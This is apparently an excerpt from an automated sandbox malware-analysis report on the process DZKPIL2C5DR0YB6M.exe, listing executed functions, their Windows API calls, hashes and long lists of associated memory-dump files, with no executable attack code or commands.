Opcode Fuzzy Hash: 4a384be8d21a0f8b57c3ff2749e0e033e5b7c13a53b09ea88bbe5830266f0e53
Instruction Fuzzy Hash: 142100611092D08FD302CF38D494A82BFA1FF8B31A39E40DDD9C18F527C2B56542CB52

Function 0150FE22 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2322086201.000000000150D000.00000004.00000020.00020000.00000000.sdmp, Offset: 0150D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_150d000_uLkHEqZ3u3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cead19459f53acdef5b277d2116a9373167e0517a21b1a09ce0313af7415d16f
Instruction ID: fc3abd48e8661e1edcf8cef704ea61a82afb6dd01b5988bd3af7465f545c230c
Opcode Fuzzy Hash: cead19459f53acdef5b277d2116a9373167e0517a21b1a09ce0313af7415d16f
Instruction Fuzzy Hash: A821B33250E7C24FC7678B788879296BF606F0362472E85CFC5C14F4A3E3155A56C712

Analysis Process: DZKPIL2C5DR0YB6M.exePID: 5228, Parent PID: 5584COMMON

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	25.7%
Signature Coverage:	11.4%
Total number of Nodes:	35
Total number of Limit Nodes:	2

Executed Functions

Function 00BED059 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00BED073

Strings

C, xrefs: 00BED284

Memory Dump Source

Source File: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: e47142e4b98aad205845d9f899fa2c230f2cea8c0e2b66083b4f04ad68cd29b9
Instruction ID: 401b16f031389c8855fc6c6f955b55f4778e2d414d3df3d8799c55d2020a7750
Opcode Fuzzy Hash: e47142e4b98aad205845d9f899fa2c230f2cea8c0e2b66083b4f04ad68cd29b9
Instruction Fuzzy Hash: D10168B214D2C96ED7219F26C890BAE3BD8D796330F24809AF846E7887D3E41D059226

Function 00BF8AED Relevance: 4.6, APIs: 3, Instructions: 95
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00BF9D9A
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00BF9DC1
GetNativeSystemInfo.KERNELBASE(?), ref: 00BF9E18

Memory Dump Source

Source File: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 6f08de74402fc488c5a9d5da9b93c7f5b1acfb654fb3c3cb8ac34443918b384f
Instruction ID: e96794bb4611844563e1e9ec5fc2261985c870d638a6802a2c3597d2091a47cc
Opcode Fuzzy Hash: 6f08de74402fc488c5a9d5da9b93c7f5b1acfb654fb3c3cb8ac34443918b384f
Instruction Fuzzy Hash: 0E41AE7600424E9EEB11DF60C849BEF3BE4EB06324F100266DA40C3991E76A4DA8CF5D

Function 00BECE90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00BECE99

Strings

C, xrefs: 00BED284

Memory Dump Source

Source File: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 5d0440a7530329275e08e63f2cc1078cc3a55ef7fb5e826b71608ad6d7023676
Instruction ID: f79f5830d16ad7b2264dc71a93b84b30e101cc06bc60907d70452be3d9aa0241
Opcode Fuzzy Hash: 5d0440a7530329275e08e63f2cc1078cc3a55ef7fb5e826b71608ad6d7023676
Instruction Fuzzy Hash: 73F0286211D3C5ADDB208B359895BEF3FD8CB62320F241497E954EB5C3D3652C09D365

Function 00BED1C6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000), ref: 00BED21F

Strings

C, xrefs: 00BED284

Memory Dump Source

Source File: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 6aeaf61b020f4fdb857dbce9e949eaf3d651fadf03b8147cc390d34be1815195
Instruction ID: eca7046832a05fe6e3e67c025fac2591608513d1960cad4ae299514a69a608aa
Opcode Fuzzy Hash: 6aeaf61b020f4fdb857dbce9e949eaf3d651fadf03b8147cc390d34be1815195
Instruction Fuzzy Hash: 32F044722882DE6CDB52AFA8DC547DE3FE49F12230F2002A5E998DB9C3D2950D08C324

Function 00BEA0BC Relevance: 1.6, APIs: 1, Instructions: 101
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00BEA0BC

Memory Dump Source

Source File: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
